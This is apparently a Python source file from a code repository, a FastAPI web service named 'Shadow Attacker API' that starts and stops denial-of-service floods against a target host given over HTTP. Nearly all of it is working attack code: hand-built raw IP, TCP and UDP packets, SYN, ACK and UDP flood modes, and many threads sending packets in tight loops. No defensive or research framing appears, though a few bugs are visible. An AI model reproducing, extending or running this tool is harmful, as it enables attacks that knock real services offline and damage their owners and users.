File size: 8,484 Bytes
9682c10 b146346 9682c10 b146346 9682c10 b146346 9682c10 b146346 9682c10 b146346 9682c10 b146346 9682c10 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 |
import asyncio
import logging
import random
import socket
import struct
import threading
import time
from datetime import datetime
from typing import Dict, Optional
from threading import Lock
import uvicorn
from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
app = FastAPI(title="Shadow Attacker API")
# Global state (thread-safe)
attack_running = False
stop_events: Dict[str, threading.Event] = {}
counters: Dict[str, int] = {}
total_packets = 0
counters_lock = Lock()
class StartRequest(BaseModel):
target: str # e.g., "example.com" or "192.168.1.1"
port: Optional[int] = None
threads: int = 10
attack_type: str = "udp" # "syn", "ack", "udp", "udp_pps"
class StatusResponse(BaseModel):
running: bool
attack_id: Optional[str]
total_packets: int
counters: Dict[str, int]
logs: list
def checksum(msg: bytes) -> int:
"""Calculate IP/TCP/UDP checksum."""
s = 0
for i in range(0, len(msg), 2):
if i + 1 < len(msg):
w = msg[i] << 8 | msg[i + 1]
else:
w = msg[i] << 8
s += w
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
def pseudo_checksum(src_ip: bytes, dst_ip: bytes, proto: int, length: int) -> int:
"""Pseudo header checksum for TCP/UDP."""
s = 0
# Source IP
s += (src_ip[0] << 8) + src_ip[1]
s += (src_ip[2] << 8) + src_ip[3]
# Dest IP
s += (dst_ip[0] << 8) + dst_ip[1]
s += (dst_ip[2] << 8) + dst_ip[3]
s += proto
s += length
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return s
def resolve_target(host: str) -> bytes:
"""Resolve target IP."""
try:
if ':' in host:
ip = socket.inet_aton(host)
else:
ip = socket.inet_aton(socket.gethostbyname(host))
return ip
except:
raise ValueError(f"Invalid target: {host}")
def get_local_ip(dst_ip: bytes) -> bytes:
"""Get local source IP for routing to dst."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((socket.inet_ntoa(dst_ip), 53))
src_ip = s.getsockname()[0]
s.close()
return socket.inet_aton(src_ip)
except:
return socket.inet_aton("0.0.0.0")
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, total_len: int) -> bytes:
"""Build IP header."""
ip = bytearray(20)
ip[0] = 0x45 # Version 4, IHL 5
ip[1] = 0x00 # TOS
struct.pack_into('!H', ip, 2, total_len)
struct.pack_into('!H', ip, 4, random.randint(1, 65535)) # ID
struct.pack_into('!H', ip, 6, 0x40) # Flags + Fragment offset
ip[8] = 64 # TTL
ip[9] = proto
struct.pack_into('!H', ip, 10, 0) # Checksum placeholder
ip[12:16] = src_ip
ip[16:20] = dst_ip
# Calculate IP checksum
ip_cs = checksum(bytes(ip))
struct.pack_into('!H', ip, 10, ip_cs)
return bytes(ip)
def build_tcp_header(src_port: int, dst_port: int, seq: int, ack: int, flags: int, length: int) -> bytes:
"""Build TCP header (20 bytes)."""
tcp = bytearray(20)
struct.pack_into('!HH', tcp, 0, src_port, dst_port)
struct.pack_into('!II', tcp, 4, seq, ack)
tcp[12] = 0x50 # Data offset 5, reserved 0
tcp[13] = flags # Flags
struct.pack_into('!H', tcp, 14, 65535) # Window
struct.pack_into('!H', tcp, 16, 0) # Checksum placeholder
struct.pack_into('!H', tcp, 18, 0) # Urgent pointer
return bytes(tcp)
def build_udp_header(src_port: int, dst_port: int, length: int) -> bytes:
"""Build UDP header (8 bytes)."""
udp = bytearray(8)
struct.pack_into('!HHHH', udp, 0, src_port, dst_port, length, 0) # Checksum placeholder
return bytes(udp)
def build_tcp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, seq: int, ack: int, flags: int) -> bytes:
"""Build full TCP SYN/ACK packet."""
tcp_hdr = build_tcp_header(src_port, dst_port, seq, ack, flags, 20)
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 40)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
tcp_cs = checksum(struct.pack('!H', pseudo) + tcp_hdr)
struct.pack_into('!H', tcp_hdr, 16, tcp_cs)
return ip_hdr + tcp_hdr
def build_udp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, payload: bytes) -> bytes:
"""Build full UDP packet."""
udp_len = 8 + len(payload)
udp_hdr = build_udp_header(src_port, dst_port, udp_len)
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, 28 + len(payload))
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
udp_cs = checksum(struct.pack('!H', pseudo) + udp_hdr + payload)
struct.pack_into('!H', udp_hdr, 6, udp_cs)
return ip_hdr + udp_hdr
async def flood_worker(attack_id: str, dst_ip: bytes, src_ip: bytes, dst_port: int, payload: bytes, stop_event: threading.Event, attack_type: str):
"""Worker thread for flooding."""
s = None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
while not stop_event.is_set():
src_port = random.randint(1024, 65535)
if attack_type == "syn":
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), 0, 0x02)
elif attack_type == "ack":
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
else: # udp or udp_pps
pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
s.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
with counters_lock:
counters[attack_id] = counters.get(attack_id, 0) + 1
total_packets += 1
await asyncio.sleep(0.001) # Yield to event loop
except Exception as e:
logger.error(f"Worker error: {e}")
finally:
if s:
s.close()
def start_background_attack(req: StartRequest):
"""Start attack in background threads."""
attack_id = f"{req.target}_{int(time.time())}"
stop_event = threading.Event()
stop_events[attack_id] = stop_event
dst_ip = resolve_target(req.target)
src_ip = get_local_ip(dst_ip)
dst_port = req.port or random.randint(1, 65535)
payload = b''.join(bytes([random.randint(0, 255)]) for _ in range(1200)) if req.attack_type == "udp" else b''
mutate = req.attack_type == "udp"
def run_threads():
threads = []
for _ in range(req.threads):
t = threading.Thread(target=lambda: asyncio.run(flood_worker(attack_id, dst_ip, src_ip, dst_port, payload, stop_event, req.attack_type)))
t.start()
threads.append(t)
for t in threads:
t.join()
thread = threading.Thread(target=run_threads)
thread.start()
logger.info(f"Started {req.attack_type} attack on {req.target}:{dst_port} with {req.threads} threads")
return attack_id
@app.post("/start")
async def start_attack(req: StartRequest, background_tasks: BackgroundTasks):
global attack_running
if attack_running:
raise HTTPException(status_code=400, detail="Attack already running")
attack_running = True
attack_id = start_background_attack(req)
return {"message": "Attack started", "attack_id": attack_id}
@app.post("/stop")
async def stop_attack(attack_id: Optional[str] = None):
global attack_running
if attack_id:
stop_events.get(attack_id, threading.Event()).set()
del counters[attack_id]
else:
for ev in stop_events.values():
ev.set()
counters.clear()
attack_running = False
return {"message": "Attack stopped"}
@app.get("/status", response_model=StatusResponse)
async def get_status(attack_id: Optional[str] = None):
with counters_lock:
total = total_packets
cnts = {k: v for k, v in counters.items()} if not attack_id else {attack_id: counters.get(attack_id, 0)}
logs = [] # Fetch recent logs (simplified; in prod, use a queue or file)
return StatusResponse(running=attack_running, attack_id=attack_id, total_packets=total, counters=cnts, logs=logs)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000) |